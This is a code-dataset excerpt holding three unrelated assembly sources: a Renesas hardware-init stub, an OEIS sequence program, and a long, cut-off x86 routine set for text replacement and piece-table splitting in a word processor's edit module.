text stringlengths 1 1.05M |
|---|
;/**********************************************************************************************************************
; * DISCLAIMER
; * This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No
; * other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all
; * applicable laws, including copyright laws.
; * THIS SOFTWARE IS PROVIDED "AS IS" AND RENESAS MAKES NO WARRANTIES REGARDING
; * THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,
; * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM
; * EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES
; * SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO
; * THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
; * Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of
; * this software. By using this software, you agree to the additional terms and conditions found by accessing the
; * following link:
; * http://www.renesas.com/disclaimer
; *
; * Copyright (C) 2020 Renesas Electronics Corporation. All rights reserved.
; *********************************************************************************************************************/;---------------------------------------------------------------------
; _hdwinit
;
; void _hdwinit(void);
;
; input:
; NONE
; output:
; NONE
;---------------------------------------------------------------------
; NOTE : THIS IS A TYPICAL EXAMPLE.
.PUBLIC _hdwinit
.textf .CSEG TEXTF
_hdwinit:
RET
|
; A196747: Numbers n such that 3 does not divide swing(n) = A056040(n).
; 0,1,2,6,7,8,18,19,20,24,25,26,54,55,56,60,61,62,72,73,74,78,79,80,162,163,164,168,169,170,180,181,182,186,187,188,216,217,218,222,223,224,234,235,236,240,241,242,486,487,488,492,493,494,504,505,506,510,511,512,540,541,542,546,547,548,558,559,560,564,565,566,648,649,650,654,655,656,666,667,668,672,673,674,702,703,704,708,709,710,720,721,722,726,727,728,1458,1459,1460,1464
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $6,$0
mov $8,2
lpb $8
mov $0,$6
sub $8,1
add $0,$8
sub $0,1
div $0,3
seq $0,91311 ; Partial sums of 3^A007814(n).
mov $3,$0
mov $5,$8
lpb $5
sub $5,1
mov $7,$3
lpe
lpe
lpb $6
mov $6,3
sub $7,$3
lpe
mov $3,$7
mul $3,3
add $3,1
add $1,$3
lpe
sub $1,1
mov $0,$1
|
include w2.inc
include noxport.inc
include consts.inc
include structs.inc
createSeg edit_PCODE,edit2,byte,public,CODE
; DEBUGGING DECLARATIONS
ifdef DEBUG
midEditn2 equ 22 ; module ID, for native asserts
endif
; EXTERNAL FUNCTIONS
externFP <N_PdodMother>
externFP <IInPlcRef>
externFP <CpPlc>
externFP <GetPlc>
externFP <PutCpPlc>
externFP <InvalParaSect>
externFP <XDeleteFields>
externFP <XDeleteBkmks>
externFP <N_FOpenPlc>
externFP <N_QcpQfooPlcfoo>
externFP <InvalCp1>
externFP <InvalText>
externFP <IInPlcCheck>
externFP <FlushRulerSprms>
externFP <FChngSizePhqLcb>
externFP <CpMac2Doc>
externFP <CpMacDoc>
externFP <XDelReferencedText>
externFP <XDelInHplcEdit>
externFP <XDeleteHdrText>
externFP <CpMac1Doc>
externFP <XCopyFields>
externFP <XCopyBkmks>
externFP <XAddHdrText>
externFP <FSectLimAtCp>
externFP <XAddToHplcEdit>
externFP <XAddReferencedText>
externFP <CopyMultPlc>
externFP <PutPlc>
externFP <AdjustHplcCpsToLim>
externNP <LN_PxsInit>
externNP <LN_PostTn>
externNP <LN_FDoTns>
externNP <LN_CloseTns>
externFP <AdjustHplc>
externFP <N_AdjustCp>
externFP <IInPlc>
externFP <SetErrorMatProc>
ifdef DEBUG
externFP <AssertProcForNative>
externFP <FCkFldForDelete>
externFP <S_XReplace>
externFP <S_AdjustCp>
externFP <S_XRepl1>
externFP <AssertSzProc>
externFP <LockHeap, UnlockHeap>
externFP <S_FOpenPlc>
externFP <S_FStretchPlc>
externFP <S_XDelFndSedPgdPad>
externFP <S_XReplaceCps>
endif ;DEBUG
sBegin data
; EXTERNALS
externW caPage
externW caPara
externW caSect
externW caTable
externW caTap
externW mpdochdod
externW vdocFetch
externW vlcb
externW vrulss
externW vtcc
externW vsab
externW mpsbps
externW caHdt
externW vtcxs
externW vdocFetchVisi
externW vcaCell
externW asd
externW vfInCommit
externW vfNoInval
externW vmerr
externW docSeqCache
externW vcbc
externW vdocScratch
externW caTapAux
ifdef DEBUG
externW cHpFreeze
externW vdbs
externW fDocScratchInUse
endif ;DEBUG
sEnd data
; CODE SEGMENT _EDIT
sBegin edit2
assumes cs,edit2
assumes ds,dgroup
assumes ss,dgroup
;-------------------------------------------------------------------------
; FReplace(pca, fn, fc, dfc)
;-------------------------------------------------------------------------
;/* F R E P L A C E */
;/* Replace cpFirst through (cpLim-1) in doc by fc through (fc+dfc-1) in fn */
;BOOL FReplace(pca, fn, fc, dfc)
;struct CA *pca;
;int fn;
;FC fc, dfc;
;{
; struct XBC xbc;
; struct XSR *pxsr;
;#define ixsrReplaceMax 4
; struct XSR rgxsr[ixsrReplaceMax];
; %%Function:N_FReplace %%Owner:BRADV
cProc N_FReplace,<PUBLIC,FAR>,<si,di>
ParmW pca
OFFBP_pca = -2
ParmW fn
OFFBP_fn = -4
ParmD fc
OFFBP_fc = -8
ParmD dfc
OFFBP_dfc = -12
LocalV xbc,cbXbcMin
LocalV rgxsr,4*cbXsrMin
cBegin
; if (vrulss.caRulerSprm.doc != docNil)
; FlushRulerSprms();
;LN_FlushRulerSprms performs
;if (vrulss.caRulerSprm.doc != docNil)
; FlushRulerSprms();
;ax, bx, cx, dx are altered.
call LN_FlushRulerSprms
; pxsr = PxsInit(rgxsr, ixsrReplaceMax, &xbc);
;LN_PxsInit takes pxs in si, ixsMax in cx, pxbc in bx
;and performs PxsInit(pxs, ixsMax, pxbc).
;ax, bx, cx, dx, di are altered. The result is returned in si.
lea si,[rgxsr]
mov cx,4
lea bx,[xbc]
call LN_PxsInit
; pxsr->pcaDel = pca;
; pxsr->fn = fn;
; pxsr->fc = fc;
; pxsr->dfc = dfc;
errnz <OFFBP_fc - OFFBP_dfc - 4>
errnz <fcXsr - dfcXsr - 4>
errnz <OFFBP_fn - OFFBP_fc - 4>
errnz <fnXsr - fcXsr - 4>
errnz <OFFBP_pca - OFFBP_fn - 2>
errnz <pcaDelXsr - fnXsr - 2>
ifdef DEBUG
;Assert es == ds with a call so as not to mess up short jumps.
call FR06
endif ;DEBUG
push si ;save pxsr
mov di,si
lea si,[dfc]
mov cx,(OFFBP_pca - OFFBP_dfc + 2) SHR 1
rep movsw
pop si ;restore pxsr
; XReplace(fTrue, &xbc, pxsr);
lea di,[xbc]
mov ax,fTrue
push ax
push di
push si
ifdef DEBUG
cCall S_XReplace,<>
else ;!DEBUG
push cs
call near ptr N_XReplace
endif ;!DEBUG
; if (!FDoTns(&xbc))
; {
;LN_FDoTns takes pxbc in di and performs FDoTns(pxbc).
;fTrue is returned iff carry is true upon return.
;ax, bx, cx, dx are altered.
call LN_FDoTns
jc FR02
; SetErrorMat(matReplace);
mov ax,matReplace
cCall SetErrorMatProc,<ax>
; return fFalse;
; }
jmp short FR05
FR02:
; BeginCommit();
;#define BeginCommit() AssertDo(!vfInCommit++)
ifdef DEBUG
cmp [vfInCommit],0
je FR03
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1001
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FR03:
endif ;DEBUG
inc [vfInCommit]
; XReplace(fFalse, &xbc, pxsr);
xor ax,ax
push ax
push di
push si
ifdef DEBUG
cCall S_XReplace,<>
else ;!DEBUG
push cs
call near ptr N_XReplace
endif ;!DEBUG
; EndCommit();
;#define EndCommit() AssertDo(!--vfInCommit)
dec [vfInCommit]
ifdef DEBUG
je FR04
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1002
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FR04:
endif ;DEBUG
; CloseTns(&xbc);
;LN_CloseTns takes &xbc in di and performs CloseTns.
;ax, bx, cx, dx are altered.
call LN_CloseTns
; return fTrue;
db 0B8h ;turns next "xor ax,ax" into "mov ax,immediate"
FR05:
xor ax,ax
;}
cEnd
ifdef DEBUG
FR06:
push ax
push bx
push cx
push dx
mov ax,ds
mov bx,es
cmp ax,bx
je FR07
mov ax,midEditn2
mov bx,1003
cCall AssertProcForNative,<ax,bx>
FR07:
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
;-------------------------------------------------------------------------
; XReplace(fPlan, pxbc, pxsr)
;-------------------------------------------------------------------------
;/* X R E P L A C E */
;/* Perform a bifuricated replacement */
;XReplace(fPlan, pxbc, pxsr)
;BOOL fPlan;
;struct XBC *pxbc;
;struct XSR *pxsr;
;{
; struct CA *pca = pxsr->pcaDel;
; %%Function:N_XReplace %%Owner:BRADV
cProc N_XReplace,<PUBLIC,FAR>,<si,di>
ParmW fPlan
ParmW pxbc
ParmW pxsr
ifdef DEBUG
LocalV rgchAttempt,42
LocalV rgchEditn,10
endif ;DEBUG
cBegin
mov di,[pxsr]
mov si,[di.pcaDelXsr]
; Assert(pca->cpFirst >= cp0 && pca->cpLim <= CpMac1Doc(pca->doc));
ifdef DEBUG
push ax
push bx
push cx
push dx
cmp [si.HI_cpFirstCa],0
jge XR01
mov ax,midEditn2
mov bx,1004
cCall AssertProcForNative,<ax,bx>
XR01:
cCall CpMac1Doc,<[si.docCa]>
sub ax,[si.LO_cpLimCa]
sbb dx,[si.HI_cpLimCa]
jge XR02
mov ax,midEditn2
mov bx,1005
cCall AssertProcForNative,<ax,bx>
XR02:
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
; /* check that deleted portion may be deleted WRT fields */
; AssertSz(!vdbs.fCkFldDel || FCkFldForDelete(pca->doc, pca->cpFirst, pca->cpLim),
; "Attempt to delete unmatched field char! " );
;#define AssertSz(f,sz) ((f) ? 0 : AssertSzProc(SzFrame(sz),(CHAR *)szAssertFile,__LINE__))
ifdef DEBUG
push ax
push bx
push cx
push dx
cmp [vdbs.fCkFldDelDbs],fFalse
je Ltemp005
push [si.docCa]
push [si.HI_cpFirstCa]
push [si.LO_cpFirstCa]
push [si.HI_cpLimCa]
push [si.LO_cpLimCa]
cCall FCkFldForDelete,<>
or ax,ax
je Ltemp006
Ltemp005:
jmp XR04
Ltemp006:
push si
push di
push ds
push es
push cs
pop ds
push ss
pop es
mov si,offset szAttempt1
lea di,[rgchAttempt]
mov cx,cbSzAttempt1
rep movsb
jmp short XR03
szAttempt1:
db 'Attempt to delete unmatched field char! ',0
cbSzAttempt1 equ $ - szAttempt1
errnz <cbSzAttempt1 - 41>
XR03:
mov si,offset szEditn1
lea di,[rgchEditn]
mov cx,cbSzEditn1
rep movsb
jmp short XR035
szEditn1:
db 'editn.asm',0
cbSzEditn1 equ $ - szEditn1
errnz <cbSzEditn1 - 10>
XR035:
pop es
pop ds
pop di
pop si
lea ax,[rgchAttempt]
lea bx,[rgchEditn]
mov cx,1027
cCall AssertSzProc,<ax,bx,cx>
XR04:
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
; if (DcpCa(pca) != 0)
;/* delete structures for text being deleted */
; XDeleteStruct(fPlan, pxbc, pxsr);
;Assumes bx = pxbc, cx = fPlan, si = pca, di = pxsr
;ax, bx, cx, dx are altered.
mov bx,[pxbc]
mov cx,[fPlan]
call LN_XDeleteStruct
; if (!fPlan && !vfNoInval)
; /* may call CachePara or FetchCp, must call BEFORE changing piece tbl */
; InvalText (pca, fTrue /* fEdit */);
mov ax,[vfNoInval]
or ax,[fPlan]
jne XR05
errnz <fTrue - fFalse - 1>
inc ax
cCall InvalText,<si,ax>
XR05:
; XRepl1(fPlan, pxbc, pxsr);
push [fPlan]
push [pxbc]
push di
ifdef DEBUG
cCall S_XRepl1,<>
else ;!DEBUG
call LN_XRepl1
endif ;!DEBUG
; if (!fPlan)
; {
cmp [fPlan],fFalse
jne XR10
; if (!vfNoInval)
; InvalCp1(pca);
; else
; /* inval the caches even if vfNoInval on */
; InvalCaFierce();
;LN_DoInval assumes pca passed in si and performs
;if (!vfNoInval) { InvalCp1(pca); }
;else InvalCaFierce();
;ax, bx, cx, dx are altered.
call LN_DoInval
; AdjustCp(pca, pxsr->dfc);
; }
push si
push [di.HI_dfcXsr]
push [di.LO_dfcXsr]
ifdef DEBUG
cCall S_AdjustCp,<>
else ;!DEBUG
push cs
call near ptr N_AdjustCp
endif ;!DEBUG
XR10:
;}
cEnd
;-------------------------------------------------------------------------
; IpcdSplit(hplcpcd, cp)
;-------------------------------------------------------------------------
;/* I P C D S P L I T */
;/* Ensure cp is the beginning of a piece. Return index of that piece. */
;/* NATIVE (pj 3/9): pcode version takes 4% of detokenize time and 2.4% of RTF time */
;NATIVE int IpcdSplit(hplcpcd, cp)
;struct PLC **hplcpcd;
;CP cp;
;{
; int ipcd;
; struct PCD pcd;
; CP dcp;
; %%Function:N_IpcdSplit %%Owner:BRADV
cProc N_IpcdSplit,<PUBLIC,FAR>,<di>
ParmW hplcpcd
ParmD cp
cBegin
mov di,[hplcpcd]
mov ax,[OFF_cp]
mov dx,[SEG_cp]
call LN_IpcdSplit
cEnd
;LN_IpcdSplit takes hplcpcd in di, cp in dx:ax and performs
;IpcdSplit(hplcpcd, cp). The result is returned in ax.
;ax, bx, cx, dx are altered.
; %%Function:LN_IpcdSplit %%Owner:BRADV
PUBLIC LN_IpcdSplit
LN_IpcdSplit:
; vdocFetch = docNil; /* ensure fetch cache isn't lying */
; if ((ipcd = IInPlcCheck(hplcpcd, cp)) == -1)
; return(IMacPlc(hplcpcd));
push si ;save caller's si
push dx
push ax ;save cp
push di ;argument for IInPlcCheck
push dx ;argument for IInPlcCheck
push ax ;argument for IInPlcCheck
errnz <docNil>
xor ax,ax
mov [vdocFetch],ax
cCall IInPlcCheck,<>
xchg ax,si
inc si
je IS02
dec si
; if ((dcp = cp - CpPlc(hplcpcd, ipcd)) != cp0)
; {{ /* !NATIVE (at least 50% of calls don't hit this code) */
cCall CpPlc,<di, si>
pop bx
pop cx ;restore cp
sub ax,bx
sbb dx,cx
push ax
or ax,dx
pop ax
jne IS05
IS005:
xchg ax,si
IS01:
pop si ;restore caller's si
ret
IS02:
mov bx,[di]
mov bx,[bx]
mov si,[bx.iMacPlcStr]
IS03:
pop ax
pop dx ;restore cp
jmp short IS005
IS04:
pop di ;restore hplcpcd
pop ax
pop dx ;restore -dcp
mov ax,matReplace
cCall SetErrorMatProc,<ax>
mov si,iNil
jmp short IS03
IS05:
; Assert(!vfInCommit);
ifdef DEBUG
call IS07
endif ;DEBUG
;/* Insert a new piece flush with the one at ipcd */
; if (!FOpenPlc(hplcpcd, ++ipcd, 1))
; {
push di ;save hplcpcd
push dx
push ax ;save -dcp
push cx
push bx ;save cp
inc si
mov ax,1
ifdef DEBUG
cCall S_FOpenPlc,<di, si, ax>
else ;not DEBUG
cCall N_FOpenPlc,<di, si, ax>
endif ;DEBUG
xchg ax,cx
jcxz IS04
; SetErrorMat( matReplace );
; return iNil;
; }
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
push si ;save ipcd
mov bx,di
ifdef DEBUG
xor di,di ;Not O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call IS09
endif ;DEBUG
pop ax ;restore ipcd
pop cx
pop dx ;restore cp
; PutCpPlc(hplcpcd, ipcd, cp);
cmp ax,[bx.icpAdjustPlc]
jl IS06
sub cx,[bx.LO_dcpAdjustPlc]
sbb dx,[bx.HI_dcpAdjustPlc]
IS06:
mov es:[di],cx
mov es:[di+2],dx
; /* We are doing effectively:
; pcd.fn = pcdPrev.fn;
; pcd.fc = pcdPrev.fc + dcp;
; pcd.prm = pcdPrev.prm;
; pcd.fNoParaLastValid = pcdPrev.fNoParaLast;
; pcd.fNoParaLast = pcdPrev.fNoParaLast;
; */
; GetPlc(hplcpcd, ipcd - 1, &pcd);
; pcd.fc += dcp;
; PutPlc(hplcpcd, ipcd, &pcd);
pop cx
pop dx ;restore -dcp
push es
pop ds
mov di,si
sub si,cbPcdMin
push ax ;save ipcd
errnz <cbPcdMin - 8>
movsw
errnz <(LO_fcPcd) - 2>
lodsw
sub ax,cx
stosw
errnz <(HI_fcPcd) - 4>
lodsw
sbb ax,dx
stosw
movsw
push ss
pop ds
pop ax ;restore ipcd
pop di ;restore hplcpcd
; }}
; return ipcd;
;}
jmp short IS01
ifdef DEBUG
;Do this assert with a call so as not to mess up short jumps.
IS07:
cmp [vfInCommit],fFalse
je IS08
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1006
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
IS08:
ret
endif ;DEBUG
ifdef DEBUG
IS09:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc IS10
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midEditn2
mov bx,1007
cCall AssertProcForNative,<ax,bx>
IS10:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je IS11
mov ax,midEditn2
mov bx,1008
cCall AssertProcForNative,<ax,bx>
IS11:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
;-------------------------------------------------------------------------
; XRepl1(fPlan, pxbc, pxsr)
;-------------------------------------------------------------------------
;/* X R E P L 1 */
;/* perform Bifuricated replacement */
;/* NATIVE (pj 3/9): taking 5.6% of RTF time, 9.9% of detokenize time */
;NATIVE XRepl1(fPlan, pxbc, pxsr)
;BOOL fPlan;
;struct XBC *pxbc;
;struct XSR *pxsr;
;{
; struct PLC **hplcpcd;
; int ipcdFirst, ipcdLim;
; int cpcd;
; struct PCD pcd;
; struct PCD pcdPrev;
ifdef DEBUG
; %%Function:N_XRepl1 %%Owner:BRADV
cProc N_XRepl1,<PUBLIC,FAR>,<si,di>
else ;!DEBUG
; %%Function:LN_XRepl1 %%Owner:BRADV
cProc LN_XRepl1,<PUBLIC,NEAR>,<si,di>
endif ;!DEBUG
ParmW fPlan
ParmW pxbc
ParmW pxsr
LocalW OFF_qpcd
cBegin
; hplcpcd = PdodDoc(pxsr->pcaDel->doc)->hplcpcd;
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
mov di,[pxsr]
mov si,[di.pcaDelXsr]
call LN_PdodDocCa
mov di,[bx.hplcpcdDod]
; if (fPlan)
; {
mov ax,[si.LO_cpFirstCa]
mov dx,[si.HI_cpFirstCa]
cmp [fPlan],fFalse
je XR103
;Requires dx:ax = pxsr->pcaDel->cpFirst,
;si is pxsr->pcaDel, di is hplcpcd
; pxsr->fNotEmptyPcaDel = (pxsr->pcaDel->cpFirst != pxsr->pcaDel->cpLim);
mov bx,[si.LO_cpLimCa]
mov cx,[si.HI_cpLimCa]
sub bx,ax
sbb cx,dx
or cx,bx
mov bx,[pxsr]
mov [bx.fNotEmptyPcaDelXsr],cx
; if ((ipcdFirst = IpcdSplit(hplcpcd, pxsr->pcaDel->cpFirst))
; == iNil)
; {
;LPostAbort:
; PostTn(pxbc, tntAbort, NULL, 0);
; return;
; }
;LN_IpcdSplit takes hplcpcd in di, cp in dx:ax and performs
;IpcdSplit(hplcpcd, cp). The result is returned in ax.
;ax, bx, cx, dx are altered.
call LN_IpcdSplit
mov bx,[pxsr]
errnz <iNil - (-1)>
inc ax
je XR102
dec ax
; if (!pxsr->fNotEmptyPcaDel)
; cpcd = 0;
mov cx,[bx.fNotEmptyPcaDelXsr]
jcxz XR101
; else
; {
; int ipcdLim;
; if ((ipcdLim = IpcdSplit(hplcpcd, pxsr->pcaDel->cpLim))
; == iNil)
; goto LPostAbort;
push ax ;save ipcdFirst
mov ax,[si.LO_cpLimCa]
mov dx,[si.HI_cpLimCa]
;LN_IpcdSplit takes hplcpcd in di, cp in dx:ax and performs
;IpcdSplit(hplcpcd, cp). The result is returned in ax.
;ax, bx, cx, dx are altered.
call LN_IpcdSplit
mov bx,[pxsr]
pop cx ;restore ipcdFirst
errnz <iNil - (-1)>
inc ax
je XR102
dec ax
; cpcd = ipcdFirst - ipcdLim;
; }
sub cx,ax
XR101:
; pxsr->cpcd = cpcd;
; }
mov [bx.cpcdXsr],cx
;Assembler note: the following assert is performed below in the
;C source.
; /* number of pieces to be added (negative or zero) */
; Assert(cpcd <= 0);
ifdef DEBUG
;Do this assert with a call so as not to mess up short jumps.
call XR110
endif ;DEBUG
;Assembler note: Why check fPlan twice? Do the stuff in the following
;"if (fPlan)" here.
; PostTn(pxbc, tntHplc, hplcpcd, cpcd+1);
;LN_PostTn takes pxbc in bx, tnt in ax, c in cx, h in dx and
;performs PostTn(pxbc, tnt, h, c).
;ax, bx, cx, dx are altered.
mov ax,tntHplc
mov dx,di
inc cx
XR1015:
mov bx,[pxbc]
call LN_PostTn
jmp XR109
XR102:
;LN_PostTn takes pxbc in bx, tnt in ax, c in cx, h in dx and
;performs PostTn(pxbc, tnt, h, c).
;ax, bx, cx, dx are altered.
mov ax,tntAbort
errnz <NULL>
xor cx,cx
xor dx,dx
jmp short XR1015
; else
; {
XR103:
;Assume dx:ax = pxsr->pcaDel->cpFirst,
;si is pxsr->pcaDel, di is hplcpcd
; ipcdFirst = IpcdSplit(hplcpcd, pxsr->pcaDel->cpFirst);
;LN_IpcdSplit takes hplcpcd in di, cp in dx:ax and performs
;IpcdSplit(hplcpcd, cp). The result is returned in ax.
;ax, bx, cx, dx are altered.
call LN_IpcdSplit
mov bx,[pxsr]
; cpcd = pxsr->cpcd;
; Assert(!pxsr->fNotEmptyPcaDel ||
; IInPlc(hplcpcd, pxsr->pcaDel->cpLim) == ipcdFirst - cpcd);
ifdef DEBUG
;Do this assert with a call so as not to mess up short jumps.
call XR112
endif ;DEBUG
; /* set so vhprc chain is checked when we run out of memory */
; vmerr.fReclaimHprcs = fTrue;
or [vmerr.fReclaimHprcsMerr],maskFReclaimHprcsMerr
; }
; /* number of pieces to be added (negative or zero) */
; Assert(cpcd <= 0);
ifdef DEBUG
;Do this assert with a call so as not to mess up short jumps.
call XR110
endif ;DEBUG
; if (fPlan)
; /* simplified, may be one less */
; PostTn(pxbc, tntHplc, hplcpcd, cpcd+1);
;Assembler note: the "if (fPlan)" case is done above
;in the assembler version.
; else
; {
; if (ipcdFirst > 0)
; GetPlc(hplcpcd, ipcdFirst - 1, &pcdPrev);
;
; if (pxsr->dfc == fc0 ||
; (ipcdFirst > 0 && pcdPrev.fn == pxsr->fn &&
; pcdPrev.prm == prmNil && pcdPrev.fc +
; (pxsr->pcaDel->cpFirst - CpPlc(hplcpcd,ipcdFirst-1))
; == pxsr->fc))
; /* Either pure delete or extension of previous piece */
; {
mov cx,[bx.LO_dfcXsr]
or cx,[bx.HI_dfcXsr]
je XR106 ;carry clear, pass cpcd to FOpenPlc
cmp ax,1
jc XR106 ;carry set, pass cpcd+1 to FOpenPlc
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
push di ;save hplcpcd
push ax ;save ipcdFirst
push si ;save pxsr->pcaDel
xchg ax,si
dec si
mov bx,di
ifdef DEBUG
xor di,di ;Not O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call XR114
endif ;DEBUG
; (ipcdFirst > 0 && pcdPrev.fn == pxsr->fn &&
; pcdPrev.prm == prmNil && pcdPrev.fc +
; (pxsr->pcaDel->cpFirst - CpPlc(hplcpcd,ipcdFirst-1))
; == pxsr->fc))
mov [OFF_qpcd],si ;save for later
push bx ;save pplcpcd
mov bx,[pxsr]
mov cx,[bx.fnXsr]
mov ax,[bx.LO_fcXsr]
mov dx,[bx.HI_fcXsr]
pop bx ;restore pplcpcd
cmp es:[si.fnPcd],cl
jne XR105
cmp es:[si.prmPcd],prmNil
jne XR105
sub ax,es:[si.LO_fcPcd]
sbb dx,es:[si.HI_fcPcd]
pop si ;restore pxsr->pcaDel
pop cx ;restore ipcdFirst
push cx ;save ipcdFirst
push si ;save pxsr->pcaDel
sub ax,[si.LO_cpFirstCa]
sbb dx,[si.HI_cpFirstCa]
;***Begin in-line CpPlc
add ax,es:[di]
adc dx,es:[di+2]
cmp cx,[bx.icpAdjustPlc]
;Assembler note: use jle instead of jl here because cx is ipcd+1,
;not ipcd.
jle XR104
add ax,[bx.LO_dcpAdjustPlc]
adc dx,[bx.HI_dcpAdjustPlc]
XR104:
;***End in-line CpPlc
or ax,dx
XR105:
pop si ;restore pxsr->pcaDel
pop ax ;restore ipcdFirst
pop di ;restore hplcpcd
; FOpenPlc(hplcpcd, ipcdFirst, cpcd);
; if (pxsr->dfc != fc0)
; /* If extending, say we might have inserted Eop*/
; {
; Debug(pcdPrev.fNoParaLastValid = fFalse);
; pcdPrev.fNoParaLast = fFalse;
; PutPlc(hplcpcd, ipcdFirst - 1, &pcdPrev);
; }
; }
; else
; /* Insert one piece */
; {
; AssertDo(FOpenPlc(hplcpcd, ipcdFirst, cpcd + 1));
stc
jne XR106 ;carry set, pass cpcd+1 to FOpenPlc
;Assembler note: set the FNoParaLast flags before the call
;to FOpenPlc rather than after because we have the pointers now.
mov bx,[OFF_qpcd] ;restore from above
ifdef DEBUG
errnz <(fNoParaLastValidPcd) - (fNoParaLastPcd)>
and es:[bx.fNoParaLastPcd],NOT (maskFNoParaLastPcd + maskFNoParaLastValidPcd)
else ;!DEBUG
and es:[bx.fNoParaLastPcd],NOT maskFNoParaLastPcd
endif ;!DEBUG
;carry clear, pass cpcd to FOpenPlc
;ax = ipcdFirst, si = pxsr->pcaDel, di = hplcpcd,
;we want to pass cpcd + carry to FOpenPlc
XR106:
push ax ;save ipcdFirst
pushf
mov bx,[pxsr]
mov cx,[bx.cpcdXsr]
adc cx,0
ifdef DEBUG
cCall S_FOpenPlc,<di, ax, cx>
else ;not DEBUG
cCall N_FOpenPlc,<di, ax, cx>
endif ;DEBUG
ifdef DEBUG
;Perform the AssertDo with a call so as not to mess up short jumps.
call XR117
endif ;DEBUG
popf
pop ax ;restore ipcdFirst
jnc XR108 ;if we called FOpenPlc with cpcd we're done
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
push di ;save hplcpcd
push ax ;save ipcdFirst
push si ;save pxsr->pcaDel
xchg ax,si
mov bx,di
ifdef DEBUG
xor di,di ;Not O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call XR114
endif ;DEBUG
; GetPlc(hplcpcd, ipcdFirst, &pcd);
; PutCpPlc(hplcpcd, ipcdFirst, pxsr->pcaDel->cpFirst);
; pcd.fn = pxsr->fn;
; pcd.fc = pxsr->fc;
; pcd.prm = prmNil;
; Debug(pcd.fNoParaLastValid = fFalse);
; pcd.fNoParaLast = fFalse; /* Para state unknown */
; pcd.fPaphNil = fFalse;
; pcd.fCopied = fTrue;
; PutPlc(hplcpcd, ipcdFirst, &pcd);
push bx ;save pplcpcd
mov bx,[pxsr]
ifdef DEBUG
errnz <(fNoParaLastValidPcd) - (fNoParaLastPcd)>
endif ;!DEBUG
errnz <(fPaphNilPcd) - (fNoParaLastPcd)>
errnz <(fCopiedPcd) - (fNoParaLastPcd)>
mov cl,maskFCopiedPcd
errnz <(fnPcd) - (fNoParaLastPcd) - 1>
mov ch,bptr ([bx.fnXsr])
mov wptr (es:[si.fNoParaLastPcd]),cx
mov ax,[bx.LO_fcXsr]
mov dx,[bx.HI_fcXsr]
mov es:[si.LO_fcPcd],ax
mov es:[si.HI_fcPcd],dx
pop bx ;restore pplcpcd
mov es:[si.prmPcd],prmNil
pop si ;restore pxsr->pcaDel
pop ax ;restore ipcdFirst
mov cx,[si.LO_cpFirstCa]
mov dx,[si.HI_cpFirstCa]
;***Begin in-line PutCpPlc
cmp ax,[bx.icpAdjustPlc]
jl XR107
sub cx,[bx.LO_dcpAdjustPlc]
sbb dx,[bx.HI_dcpAdjustPlc]
XR107:
mov es:[di],cx
mov es:[di+2],dx
;***End in-line PutCpPlc
pop di ;restore hplcpcd
; ipcdFirst++;
; }
inc ax
XR108:
; AdjustHplc(hplcpcd, pxsr->pcaDel->cpLim, pxsr->dfc - pxsr->pcaDel->cpLim +
; pxsr->pcaDel->cpFirst, ipcdFirst);
;ax = ipcdFirst, si = pxsr->pcaDel, di = hplcpcd
mov bx,[pxsr]
push di
push [si.HI_cpLimCa]
push [si.LO_cpLimCa]
mov dx,[bx.HI_dfcXsr]
mov cx,[bx.LO_dfcXsr]
sub cx,[si.LO_cpLimCa]
